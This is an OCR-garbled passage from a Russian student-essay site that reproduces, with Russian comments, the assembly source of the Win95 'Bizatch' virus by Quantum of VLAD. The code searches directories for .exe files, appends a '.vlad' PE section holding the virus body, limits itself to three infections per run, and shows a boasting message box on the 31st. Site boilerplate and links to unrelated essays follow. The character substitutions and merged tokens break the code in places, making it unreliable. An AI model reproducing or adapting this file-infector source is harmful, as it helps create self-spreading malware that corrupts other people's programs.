SetFilePointer 3апишем тело вируса в новый объектpush О lea eax,ebpoffset bytesreadpush eax push vend-vstartlea eax, ebpoffset vstartpush eax push dword ptr ebpoffset ahandcall WriteFile Закроем файлnotape push dword ptr ebpoffset ahand call CloseFile Переход к следующему файлуfindnextone Проверим, сколько файлов заразили если 3,то выходим, если меньше - ищем следующий cmp byte ptr ebpoffset countinfect,3 jz outty

Ищем следующий файл lea eax, ebpoffset win32datathangpush eax push dword ptr ebpoffset searchhandlecall FindNext .Если файл найден, переходим к заражениюor eax.eaxjnz gofile Сюда попадаем, если файл не найденfoundnothing Сменим директориюхог еах.еах lea edi,ebpoffset tempdirmov ecx,2564rep stosd lea edi,ebpoffset tempdirlmov ecx.2564rep stosd Получим текущую директориюlea esi,ebpoffset tempdirpush esipush 255call

GetCurDir .Сменим директорию на . lea eax,ebpoffset dotdot push eax call SetCurDir Получим текущую директориюlea edi,ebpoffset tempdirlpush edipush 255call GetCurDir Проверим, корневая ли это директория. Если да, то выходимmov есх.2564rep cmpsdjnz infectdir 3аметаем следы и выходим в программу-носительoutty Возвратимся в оригинальную текущую директориюlea eax,ebpoffset orgdirpush eaxcall SetCurDir Получим текущую дату и время lea eax,ebpoffset systimestruct push eaxcall

GetTime Проверим число. Если это 31-ое, выдаем сообщениеcmp word ptr ebpoffset day,31jnz nopayload .Сообщение для пользователя push 1000h MBSYSTEMMODAL lea eax, ebpoffset boxtitle push eax lea eax, ebpoffset boxmsg push eax push 0 call MsgBox Выход в программу-носительnopayload pop eax jmp eax Когда KERNEL будет обнаружен, его смещение будет записаноkern dd OBFF93B95h 3начения KERNEL, известные намkern1 dd OBFF93B95hkern2 dd

OBFF93C1Dh Чтение текущей директорииGetCurDir 3апишем в стек значение для получения текущейдиректории и вызовем KERNEL push OBFF77744h jmp ebpoffset kern .Установка текущей директорииSetCurDir 3апишем в стек значение для установки текущейдиректории и вызовем KERNEL push OBFF7771Dh jmp ebpoffset kern Получение времени и датыGetTime Проверим, какой KERNEL работаетcmp ebpoffset kern,OBFF93B95hjnz gettimekern2 3апишем в стек значение

для получениявремени и даты и вызовем KERNEL push OBFF9DOB6h jmp ebpoffset kerngettimekern2 3апишем в стек значение для получениявремени и даты и вызовем KERNEL push OBFF9D-l4Eh jmp ebpoffset kern Вывод сообщенияMsgBox .Запишем в стек значение для вывода сообщения и вызовем KERNELpush OBFF638D9hjmp ebpoffset kern .Поиск первого файлаFindFile 3апишем в стек значение для поиска

первого файлаи вызовем KERNEL push OBFF77893h jmp ebpoffset kern Поиск следующего файлаFindNext 3апишем в стек значение для поискаследующего файла и вызовем KERNEL push OBFF778CBh jmp ebpoffset kern Открытиесоздание файлаCreateFile 3апишем в стек значение для открытиясоздания файлаи вызовем KERNEL push OBFF77817h jmp ebpoffset kern Установка указателя чтениязаписиSetFilePointer 3апишем в стек значение для установки.указателя чтениязаписи

файла и вызовем KERNEL push OBFF76FAOh jmp ebpoffset kern Чтение из файлаReadFile 3апишем в стек значение для чтения из файла и вызовем KERNELpush OBFF75806hjmp ebpoffset kern 3апись в файлWriteFile 3апишем в стек значение для записи в файл и вызовем KERNELpush OBFF7580Dhjmp ebpoffset kern 3акрытие файлаCloseFile 3апишем в стек значение для закрытия файла и вызовем KERNELpush OBFF7BC72hjmp ebpoffset kern

Счетчик зараженийcountinfect db 0 Используется для поиска файловwin32datathang fileattr dd 0createtime dd 0,0lastaccesstime dd 0,0lastwritetime dd 0,0filesize dd 0,0 resv dd 0,0 fullname db 256 dup 0 realname db 256 dup 0 Имя сообщения, выводимого 31-го числаboxtitle db Bizatch by Quantum VLAD,0 Сообщение, выводимое 31-го числаboxmsg db The taste of fame just got tastier,Odh db VLAD Australia does it again with the worlds first

Win95 Virus db Odh.Odh db 9.From the old school to the new. .Odh.Odh db 9,Metabolis,Odh db 9,Qark,Odh db 9,Darkman,Odh db 9,Quantum,Odh db 9,CoKe,0messagetostupidavers db Please note the name of this virus is Bizatch db written by Quantum of VLAD,0 Данные о директорияхorgdir db 256 dup 0tempdir db 256 dup 0tempdirl db 256 dup 0

Используется для смены директорииdotdot db 0 Используется для получения временидатыsystimestruct dw 0,0,0day dw 0 dw 0,0,0,0 Индекс для поиска файловsearchhandle dd О Маска для поискаfname db .exe,0 Описатель открытого файлаahand dd О Смещение РЕ-заголовка в файлеpeheaderoffset dd О Смещение таблицы объектовObjectTableoffset dd О Количество записанныхсчитанных байт при работе с файломbytesread

dd О .Новый объектnewobject oname db .vlad,0,0,0virtualsize dd 0RVA dd 0 physicalsize dd 0physicaloffset dd 0reserved dd 0,0,0objectflags db 40h,0,0,OCOh Данные, необходимые для заражения файлаpeheader signature dd 0cputype dw 0numObj dw 0db 34 dup 0NtHeaderSize dw 0Flags dw 0db 44 dup 0entrypointRVA dd 0db 34 dup 0objalign dd 0filealign dd 0db 44 dup 0imagesize dd 0headersize dd 0 0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектовvend db -lOOOh dup 0endsend vstart



Не сдавайте скачаную работу преподавателю!
Данный реферат Вы можете использовать для подготовки курсовых проектов.

Поделись с друзьями, за репост + 100 мильонов к студенческой карме :

Пишем реферат самостоятельно:
! Как писать рефераты
Практические рекомендации по написанию студенческих рефератов.
! План реферата Краткий список разделов, отражающий структура и порядок работы над будующим рефератом.
! Введение реферата Вводная часть работы, в которой отражается цель и обозначается список задач.
! Заключение реферата В заключении подводятся итоги, описывается была ли достигнута поставленная цель, каковы результаты.
! Оформление рефератов Методические рекомендации по грамотному оформлению работы по ГОСТ.

Читайте также:
Виды рефератов Какими бывают рефераты по своему назначению и структуре.

Сейчас смотрят :

Реферат Стихотворение Лермонтова "Дума"
Реферат Анализ основ бухгалтерского финансового учета, особенностей нормативно-правовой литературы в обл
Реферат Параметры «черных дыр» и природа «темной материи» в двоичной модели распределения плотности вещества
Реферат Гуманизм учителя как условие нравственного воспитания
Реферат Лекции "Детали Машин"
Реферат Аскаридоз свиней 2
Реферат Архитектура Руси 15 – 16 веков
Реферат Конституционное право граждан на обращение
Реферат Соломинка, уголёк и боб
Реферат Глиэр Рейнгольд Морицевич
Реферат Нападение фашистской Германии на Советский Союз
Реферат Разработка бизнес-плана на получение кредита в коммерческом банке для технического перевооружения ОАО "Ново-Широкинский рудник"
Реферат Ткачество
Реферат Построение групп торговых точек по объему ежедневного дохода. Отображение динамики дохода фирмы
Реферат Сравнительный анализ группаналитического и гештальт подхода в работе на ранних стадиях психотерапевтической группы